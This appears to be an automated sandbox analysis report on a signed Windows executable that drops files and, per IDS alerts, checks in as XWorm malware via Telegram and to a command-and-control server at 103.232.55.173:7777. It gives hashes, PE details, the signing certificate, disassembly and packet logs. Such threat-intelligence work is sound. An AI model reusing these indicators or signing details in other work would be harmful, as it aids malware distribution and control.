e@..ZAG.d!d"..d"e@..ZBG.d#d$..d$e@..ZCd%d&..ZDG.d'd(..d(e@..ZEG.d)d..d..ZFG.d+d,..d,eF..ZGG.d-d...d.eG..ZHG.d/d0..d0..ZIG.d1d2..d2eIe@..ZJG.d3d4..d4eIe@..ZKe.jLZMG.d5d6..d6..ZNG.d7d8..d8e@eN..ZOG.d9d:..d:e@eN..ZPG.d;d<..d<e@..ZQG.d=d>..d>eQ..ZReSe.jTd?....rtG.d@dA..dAeQ..ZUe/.VdA....G.dBdC..dCe@..ZWG.dDdE..dEe@..ZXdFdG..ZYdHdI..ZZG.dJdK..dKe@..Z[dLdM..Z\G.dNdO..dOe@..Z]G.dPdQ..dQe]..Z^G.dRdS..dSe@..Z_dTZ`e.jadUk...r.d.dVlbmcZcmdZd..n.dWdX..ZcdYdZ..Zdi.ZeG.d[d\..d\..ZfG.d]d^..d^ef..Zgd.ahd_

C:\recover\pw\lib\urllib\pycache\response.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	3465
Entropy (8bit):	4.728516745456491
Encrypted:	false
SSDEEP:	96:sBaL9CzkpnMFDq/vnacKhRVH+nRsxv5C+8/15dzjT:nxunJq33ERVHNvCl/9T
MD5:	4BF8633A6A61F5194990BBCE6454096F
SHA1:	A319AC758817133B8711463B34289A72B381BBE0
SHA-256:	FA80575110C737315F1A9D228EA8F5B16A5F45D02F3C3BCAFBB03D42ED198B1B
SHA-512:	DC7F029BD6BCBA1FA16CFDD65FC30AFF5D6083866E46E06B0B9BD2F9A0AAC34C8ED37168892F2ECB498B04AAA98739866F9BFDB11CE1796B0E5728A4540F99E8
Malicious:	false
Preview:	o.........Sg.........................@...sZ...d.Z.d.d.l.Z.g.d...Z.G.d.d...d.e.j...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.S.).a....Response classes used by urllib...The base class, addbase, defines a minimal file-like interface,.including read() and readline(). The typical response object is an.addinfourl instance, which defines an info() method that returns.headers and a geturl() method that returns the url.......N)...addbase..addclosehook..addinfo..addinfourlc........................s8...e.Z.d.Z.d.Z...f.d.d...Z.d.d...Z.d.d...Z.d.d...Z.....Z.S.).r....zOBase class for addinfo and addclosehook. Is a good idea for garbage collection.c........................s ...t.t.\|...j.\|.d.d.d.....\|.\|._.d.S.).Nz.<urllib response>F)...delete)...superr......__init__..fp)...selfr........__class__...$C:\recover\pw\lib\urllib\response.pyr........s........z.addbase.__init__c....................C...s....d.\|.j.j.t.\|...\|.j.f...S.).Nz.<%s at %r whose fp = %r>).r......__name__..id..file..r....r....r

C:\recover\recover.dll

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	61027328
Entropy (8bit):	7.996185344162367
Encrypted:	true
SSDEEP:	1572864:Finl9atVfhVStFs93Vl7BzSh5fVpg88N5/Tud5AU3G86TQM:QeHfhVSTs93Vl7BehhHghzU3J
MD5:	5D74E8E78576D03684D1C575661850A7
SHA1:	E40AD884461B0633D6A8A0576E3A6C53F0777256
SHA-256:	E6C39196AF020221EAD17FC15C719C81E8D1590A5A86C3771AF27B6199D43485
SHA-512:	A9CC93401F0EF4E05C97AE93C0C8A7DD8E8D5C8B1C54621E506B30DFA187898A16336762F67CA80E8F7F18EB4566443277B51ACC4A6B874D85213049A6CEB5F9
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........`J...$..$..$.y...$.%..$.'..$. ..$.!..$..y%..$..%...$... ..$..$..$...$..$...&..$.Rich..$.........PE..d....dQg.........." ...).............\|.......................................p............`............................................d...d............... ...3...........`.......s..T....................s..(....q..@...............h............................text...z........................... ..`.rdata...H.......J..................@..@.data..............................@....pdata...3... ...4..................@..@.reloc.......`......................@..B................................................................................................................................................................................................................................................................................................

C:\recover\vcomp140.dll

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	191864
Entropy (8bit):	6.4498212594354545
Encrypted:	false
SSDEEP:	3072:waKEicDJ97Ozt4xRUC9UkIT5m9xrKNm/qIOdmtBEfogVd/sXWS:HX/97OSxR4kS5AoM/6bvH/Y
MD5:	1017BC2C5F48FEDA26358F9AA53508A0
SHA1:	99E7F50071E55695E7ADA3D5E03FA4E0BC5677AA
SHA-256:	2B35B1082B95244A34EFDFACF2AC6F252B7FC5189671715963FA685507E2FF2F
SHA-512:	92183C6E61D5AF9DDFCCF76C73CB731A859BD86F28E5ACB2702461CE75CCE17E85DF7A5C6D7DF83112A1B74F86A98D2DE89B5A90B19A6CC7A6AF180191A41493
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........WZ..9...9...9.y.:...9.y.<...9.y.=...9...9...9...<...9...=...9.y.8...9...8...9...:...9...0...9...9...9.......9...;...9.Rich..9.................PE..d...<............." ...$..... .......g...............................................~....`A........................................@_.......l..(.......................xO......0....B..p............................A..@............................................text...W........................... ..`.rdata..\|...........................@..@.data....%...........`..............@....pdata...............l..............@..@_RDATA..\...........................@..@.rsrc...............................@..@.reloc..0...........................@..B........................................................................................................................................................................................

C:\recover\vcruntime140.dll

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	109440
Entropy (8bit):	6.642252418996898
Encrypted:	false
SSDEEP:	1536:BcghDMWyjXZZIzpdbJhKm6Kuzu8fsecbq8uOFQr+zMtY+zA:BVHyQNdbJAKuzRsecbq8uOFvyU
MD5:	49C96CECDA5C6C660A107D378FDFC3D4
SHA1:	00149B7A66723E3F0310F139489FE172F818CA8E
SHA-256:	69320F278D90EFAAEB67E2A1B55E5B0543883125834C812C8D9C39676E0494FC
SHA-512:	E09E072F3095379B0C921D41D6E64F4F1CD78400594A2317CFB5E5DCA03DEDB5A8239ED89905C9E967D1ACB376B0585A35ADDF6648422C7DDB472CE38B1BA60D
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........{n...=...=...=l..<...=...=...=...=...=...<...=...<...=...<...=...<...=...=...=...<...=Rich...=........PE..d.....K..........." ...$.....`............................................................`A........................................`C..4....K...............p..\|....\...O...........-..p............................,..@............................................text............................... ..`.rdata...A.......B..................@..@.data...0....`.......D..............@....pdata..\|....p.......H..............@..@_RDATA..\............T..............@..@.rsrc................V..............@..@.reloc...............Z..............@..B................................................................................................................................................................................................................................

C:\recover\vcruntime140_1.dll

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	49560
Entropy (8bit):	6.6649899041961875
Encrypted:	false
SSDEEP:	768:a0Q4HUcGJZekJSam1BbuBSYcCZbiLzlSHji9z4GwZHji9znwT:afnDex5izbiLzlE+z4Gwl+zwT
MD5:	CF0A1C4776FFE23ADA5E570FC36E39FE
SHA1:	2050FADECC11550AD9BDE0B542BCF87E19D37F1A
SHA-256:	6FD366A691ED68430BCD0A3DE3D8D19A0CB2102952BFC140BBEF4354ED082C47
SHA-512:	D95CD98D22CA048D0FC5BCA551C9DB13D6FA705F6AF120BBBB621CF2B30284BFDC7320D0A819BB26DAB1E0A46253CC311A370BED4EF72ECB60C69791ED720168
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........V...V...V......T.......T..._.D.]...V...e.......S.......Q.......M.......W.....(.W.......W...RichV...........PE..d...}.4..........." ...$.<...8.......A..............................................e4....`A........................................0m.......m..x....................r...O......D....c..p...........................pb..@............P..h............................text...@:.......<.................. ..`.rdata..."...P...$...@..............@..@.data................d..............@....pdata...............f..............@..@.rsrc................l..............@..@.reloc..D............p..............@..B................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32+ executable (console) x86-64, for MS Windows
Entropy (8bit):	7.995124551313761
TrID:	Win64 Executable Console (202006/5) 77.37% InstallShield setup (43055/19) 16.49% Win64 Executable (generic) (12005/4) 4.60% Generic Win/DOS Executable (2004/3) 0.77% DOS Executable Generic (2002/1) 0.77%
File name:	vUlh7stUHJ.exe
File size:	71'253'576 bytes
MD5:	d57adb24b010d644315933e7030cbdbc
SHA1:	6d2c83ce9d75b3e1da11c3fbc1b25fdc3944537b
SHA256:	bc43e925d7b4b74319f6e74e836a96f1997ba404e14ac566cf12a21e9da463db
SHA512:	62013bbf6803465736c4b2604464a896b6e7f9f712435873de080b7536839e849e7967b767a6f165225312f4bc809d97e824363939c65e7696611088d190e34b
SSDEEP:	1572864:1Laqinl9atVfhVStFs93Vl7BzSh5fVpg88N5/Tud5AU3G86TQMr:1mveHfhVSTs93Vl7BehhHghzU3Jc
TLSH:	59F73322EFF14BA6C22EC53451D60527A9F27856D76818EFB6CC1E223F51EE10737A06
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............i...i...i.......i..Lh...i..Lj...i..Lm...i..Ll...i.#.h...i...h...i...h...i...i...i..M....i..Mk...i.Rich..i................

File Icon


Icon Hash:	22e083333333aeb2

Static PE Info

General

Entrypoint:	0x14002d91c
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x140000000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x6752AB21 [Fri Dec 6 07:43:29 2024 UTC]
TLS Callbacks:	0x40014750, 0x1
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	32d435779471542d260111d60ef7cea4

Authenticode Signature

Signature Valid:	true
Signature Issuer:	CN=SSL.com EV Code Signing Intermediate CA RSA R3, O=SSL Corp, L=Houston, S=Texas, C=US
Signature Validation Error:	The operation completed successfully
Error Number:	0
Not Before, Not After	03/12/2024 14:31:57 03/12/2025 14:31:57
Subject Chain	OID.1.3.6.1.4.1.311.60.2.1.3=VN, OID.2.5.4.15=Private Organization, CN=Pay 2 Services, SERIALNUMBER=0314605239, O=Pay 2 Services, L=Ho Chi Minh City, C=VN
Version:	3
Thumbprint MD5:	4674F48F292099133543B35384CA685A
Thumbprint SHA-1:	9C2F2962B479513457A2F1E3343E4132F44C3B42
Thumbprint SHA-256:	C4A21404C94AED599C689EB69FA208F10294FACCD153C96BC429EF0C81AEE067
Serial:	755032B6460548815427C7FFEE975F6A

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007FEA78F6F368h
dec eax
add esp, 28h
jmp 00007FEA78F6EF87h
int3
int3
jmp 00007FEA78F6F708h
int3
int3
int3
dec eax
sub esp, 28h
call 00007FEA78F6F9D0h
test eax, eax
je 00007FEA78F6F133h
dec eax
mov eax, dword ptr [00000030h]
dec eax
mov ecx, dword ptr [eax+08h]
jmp 00007FEA78F6F117h
dec eax
cmp ecx, eax
je 00007FEA78F6F126h
xor eax, eax
dec eax
cmpxchg dword ptr [043C295Ch], ecx
jne 00007FEA78F6F100h
xor al, al
dec eax
add esp, 28h
ret
mov al, 01h
jmp 00007FEA78F6F109h
int3
int3
int3
dec eax
sub esp, 28h
test ecx, ecx
jne 00007FEA78F6F119h
mov byte ptr [043C2945h], 00000001h
call 00007FEA78F6F6BDh
call 00007FEA78F6F3D0h
test al, al
jne 00007FEA78F6F116h
xor al, al
jmp 00007FEA78F6F126h
call 00007FEA78F6F3C3h
test al, al
jne 00007FEA78F6F11Bh
xor ecx, ecx
call 00007FEA78F6F3B8h
jmp 00007FEA78F6F0FCh
mov al, 01h
dec eax
add esp, 28h
ret
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
cmp byte ptr [043C290Ch], 00000000h
mov ebx, ecx
jne 00007FEA78F6F179h
cmp ecx, 01h
jnbe 00007FEA78F6F17Ch
call 00007FEA78F6F946h
test eax, eax
je 00007FEA78F6F13Ah
test ebx, ebx
jne 00007FEA78F6F136h
dec eax
lea ecx, dword ptr [043C28F6h]
call 00007FEA78F6F9EEh
test eax, eax
jne 00007FEA78F6F122h

Rich Headers

Programming Language:

[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x43ee1f4	0xdc	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x43f3000	0xc80	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x43f1000	0x1f50	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x43f1800	0x2648
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x43f4000	0x488	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x43e8840	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x43e8900	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x43e8700	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x31000	0x3f0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2fb23	0x2fc00	1b2085f6eb269be050b6f8b4eafac304	False	0.5133293111910995	data	6.368619688025448	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x31000	0x43be0e6	0x43be200	860722878c3963c0c4eb2efb09b7584a	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x43f0000	0x340	0x200	110a6f53820b23d7c9b73017c3b7f2c2	False	0.216796875	DOS executable (block device driver)	1.59379052346631	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x43f1000	0x1f50	0x2000	083dfd90fdac438cd26f1299cfba51fd	False	0.49609375	data	5.6067960158810095	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x43f3000	0xc80	0xe00	8b5bcb82c435326a01f76fe95e2f451b	False	0.45145089285714285	data	5.252206263154376	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x43f4000	0x488	0x600	9e9b187736eddc07b47376422a8212e8	False	0.5325520833333334	data	4.697243228649064	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x43f32a0	0x9c8	Device independent bitmap graphic, 21 x 56 x 32, image size 2352, resolution 3779 x 3779 px/m	English	United States	0.5235623003194888
RT_GROUP_ICON	0x43f3c68	0x14	data	English	United States	1.15
RT_VERSION	0x43f30f0	0x1b0	data	English	United States	0.4930555555555556

Imports

DLL	Import
api-ms-win-core-synch-l1-2-0.dll	WaitOnAddress, WakeByAddressSingle, WakeByAddressAll
bcryptprimitives.dll	ProcessPrng
KERNEL32.dll	HeapAlloc, SetUnhandledExceptionFilter, UnhandledExceptionFilter, IsDebuggerPresent, InitializeSListHead, HeapFree, CloseHandle, HeapReAlloc, GetConsoleMode, SetConsoleMode, GetLastError, SetConsoleCursorPosition, FillConsoleOutputCharacterA, FillConsoleOutputAttribute, CreateFileW, Sleep, GetModuleHandleA, GetProcAddress, QueryPerformanceCounter, QueryPerformanceFrequency, AddVectoredExceptionHandler, SetThreadStackGuarantee, GetCurrentThread, GetConsoleScreenBufferInfo, SetConsoleTextAttribute, SetConsoleTitleW, LoadLibraryW, FreeLibrary, GetStdHandle, WaitForSingleObject, MultiByteToWideChar, WriteConsoleW, SetLastError, GetModuleHandleW, FormatMessageW, lstrlenW, GetEnvironmentVariableW, SetFileInformationByHandle, GetFullPathNameW, CreateDirectoryW, GetFileInformationByHandle, GetFileInformationByHandleEx, FindFirstFileW, FindClose, GetEnvironmentStringsW, FreeEnvironmentStringsW, CompareStringOrdinal, GetModuleFileNameW, GetSystemDirectoryW, GetWindowsDirectoryW, CreateProcessW, GetFileAttributesW, GetCurrentProcess, DuplicateHandle, CreateThread, InitializeProcThreadAttributeList, UpdateProcThreadAttribute, DeleteProcThreadAttributeList, GetCurrentProcessId, CreateNamedPipeW, ReadFileEx, SleepEx, WriteFileEx, ExitProcess, IsProcessorFeaturePresent, GetProcessHeap, GetCurrentDirectoryW, RtlCaptureContext, RtlLookupFunctionEntry, WaitForSingleObjectEx, LoadLibraryA, CreateMutexA, ReleaseMutex, WideCharToMultiByte, RtlVirtualUnwind, GetSystemTimeAsFileTime, GetCurrentThreadId
ntdll.dll	NtWriteFile, RtlNtStatusToDosError
VCRUNTIME140.dll	__current_exception_context, __CxxFrameHandler3, memcpy, memcmp, _CxxThrowException, memset, memmove, __C_specific_handler, __current_exception
api-ms-win-crt-runtime-l1-1-0.dll	_initterm, __p___argc, __p___argv, _cexit, _c_exit, _register_thread_local_exe_atexit_callback, _get_initial_narrow_environment, _initterm_e, _configure_narrow_argv, _initialize_onexit_table, _register_onexit_function, _crt_atexit, terminate, _initialize_narrow_environment, _set_app_type, exit, _seh_filter_exe, _exit
api-ms-win-crt-math-l1-1-0.dll	__setusermatherr
api-ms-win-crt-stdio-l1-1-0.dll	_set_fmode, __p__commode
api-ms-win-crt-locale-l1-1-0.dll	_configthreadlocale
api-ms-win-crt-heap-l1-1-0.dll	_set_new_mode, free

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-06T15:53:21.031066+0100	2853685	ETPRO MALWARE Win32/XWorm Checkin via Telegram	1	192.168.2.7	49842	149.154.167.220	443	TCP
2024-12-06T15:53:38.539150+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	103.232.55.173	7777	192.168.2.7	49855	TCP
2024-12-06T15:53:38.754182+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49855	103.232.55.173	7777	TCP
2024-12-06T15:53:43.944756+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	103.232.55.173	7777	192.168.2.7	49855	TCP
2024-12-06T15:53:43.944756+0100	2852874	ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2	1	103.232.55.173	7777	192.168.2.7	49855	TCP
2024-12-06T15:53:52.210398+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	103.232.55.173	7777	192.168.2.7	49855	TCP
2024-12-06T15:53:52.212001+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49855	103.232.55.173	7777	TCP
2024-12-06T15:54:06.053926+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	103.232.55.173	7777	192.168.2.7	49855	TCP
2024-12-06T15:54:06.119722+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49855	103.232.55.173	7777	TCP
2024-12-06T15:54:13.947932+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	103.232.55.173	7777	192.168.2.7	49855	TCP
2024-12-06T15:54:13.947932+0100	2852874	ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2	1	103.232.55.173	7777	192.168.2.7	49855	TCP
2024-12-06T15:54:19.559633+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	103.232.55.173	7777	192.168.2.7	49855	TCP
2024-12-06T15:54:19.561258+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49855	103.232.55.173	7777	TCP
2024-12-06T15:54:28.136035+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	103.232.55.173	7777	192.168.2.7	49855	TCP
2024-12-06T15:54:28.151228+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49855	103.232.55.173	7777	TCP
2024-12-06T15:54:34.819739+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	103.232.55.173	7777	192.168.2.7	49855	TCP
2024-12-06T15:54:34.821396+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49855	103.232.55.173	7777	TCP
2024-12-06T15:54:35.155503+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	103.232.55.173	7777	192.168.2.7	49855	TCP
2024-12-06T15:54:38.257574+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49855	103.232.55.173	7777	TCP
2024-12-06T15:54:39.150910+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	103.232.55.173	7777	192.168.2.7	49855	TCP
2024-12-06T15:54:39.151826+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49855	103.232.55.173	7777	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 6, 2024 15:52:27.024121046 CET	49708	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:27.024154902 CET	443	49708	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:27.024240971 CET	49708	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:27.024601936 CET	49708	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:27.024606943 CET	443	49708	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:28.757188082 CET	443	49708	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:28.757339001 CET	49708	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:28.787367105 CET	49708	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:28.787380934 CET	443	49708	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:28.787736893 CET	443	49708	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:28.800595999 CET	49708	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:28.843338013 CET	443	49708	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:29.234471083 CET	443	49708	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:29.234494925 CET	443	49708	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:29.234508991 CET	443	49708	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:29.234889030 CET	49708	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:29.234905958 CET	443	49708	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:29.235011101 CET	49708	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:29.414062023 CET	443	49708	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:29.414100885 CET	443	49708	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:29.414175987 CET	49708	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:29.414185047 CET	443	49708	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:29.414232969 CET	49708	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:29.458606958 CET	443	49708	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:29.458626032 CET	443	49708	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:29.458749056 CET	49708	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:29.458761930 CET	443	49708	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:29.458811998 CET	49708	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:29.583790064 CET	443	49708	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:29.583815098 CET	443	49708	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:29.583884954 CET	49708	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:29.583894968 CET	443	49708	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:29.583947897 CET	49708	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:29.621391058 CET	443	49708	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:29.621408939 CET	443	49708	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:29.621470928 CET	49708	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:29.621484041 CET	443	49708	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:29.621514082 CET	49708	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:29.621534109 CET	49708	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:29.647052050 CET	443	49708	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:29.647068024 CET	443	49708	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:29.647130966 CET	49708	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:29.647144079 CET	443	49708	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:29.647185087 CET	49708	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:29.665128946 CET	443	49708	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:29.665148020 CET	443	49708	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:29.665211916 CET	49708	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:29.665227890 CET	443	49708	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:29.665262938 CET	49708	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:29.665282011 CET	49708	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:29.802572012 CET	443	49708	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:29.802627087 CET	443	49708	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:29.802658081 CET	49708	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:29.802674055 CET	443	49708	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:29.802710056 CET	49708	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:29.802730083 CET	49708	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:29.817612886 CET	443	49708	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:29.817631960 CET	443	49708	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:29.817678928 CET	49708	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:29.817687988 CET	443	49708	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:29.817739964 CET	49708	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:29.817761898 CET	49708	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:29.833384037 CET	443	49708	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:29.833431005 CET	443	49708	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:29.833447933 CET	49708	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:29.833452940 CET	443	49708	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:29.833503008 CET	49708	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:29.847012997 CET	443	49708	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:29.847028971 CET	443	49708	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:29.847075939 CET	49708	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:29.847081900 CET	443	49708	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:29.847120047 CET	49708	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:29.847129107 CET	49708	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:29.863082886 CET	443	49708	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:29.863100052 CET	443	49708	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:29.863152027 CET	49708	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:29.863157988 CET	443	49708	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:29.863213062 CET	49708	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:29.877676010 CET	443	49708	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:29.877695084 CET	443	49708	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:29.877775908 CET	49708	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:29.877784014 CET	443	49708	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:29.877831936 CET	49708	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:29.884270906 CET	443	49708	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:29.884367943 CET	49708	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:29.884375095 CET	443	49708	13.107.246.63	192.168.2.7
